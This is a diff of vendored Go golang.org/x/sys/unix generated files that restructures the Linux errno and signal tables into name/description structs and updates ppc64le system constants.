-@@ -2092,172 +668,180 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 58: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {58, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go
-index ad29c3d3..4231b20b 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go
-@@ -3,7 +3,7 @@
-
- // +build ppc64le,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1930 +11,549 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x17
-- B110 = 0x3
-- B115200 = 0x11
-- B1152000 = 0x18
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x19
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x1a
-- B230400 = 0x12
-- B2400 = 0xb
-- B2500000 = 0x1b
-- B300 = 0x7
-- B3000000 = 0x1c
-- B3500000 = 0x1d
-- B38400 = 0xf
-- B4000000 = 0x1e
-- B460800 = 0x13
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x14
-- B57600 = 0x10
-- B576000 = 0x15
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x16
-- B9600 = 0xd
-- BLKBSZGET = 0x40081270
-- BLKBSZSET = 0x80081271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40081272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1f
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x8000
-- BSDLY = 0x8000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0xff
-- CBAUDEX = 0x0
-- CFLUSH = 0xf
-- CIBAUD = 0xff0000
-- CLOCAL = 0x8000
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x1000
-- CR2 = 0x2000
-- CR3 = 0x3000
-- CRDLY = 0x3000
-- CREAD = 0x800
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x100
-- CS7 = 0x200
-- CS8 = 0x300
-- CSIGNAL = 0xff
-- CSIZE = 0x300
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x400
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x40
-- ECHOE = 0x2
-- ECHOK = 0x4
-- ECHOKE = 0x1
-- ECHONL = 0x10
-- ECHOPRT = 0x20
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x4000
-- FFDLY = 0x4000
-- FLUSHO = 0x800000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
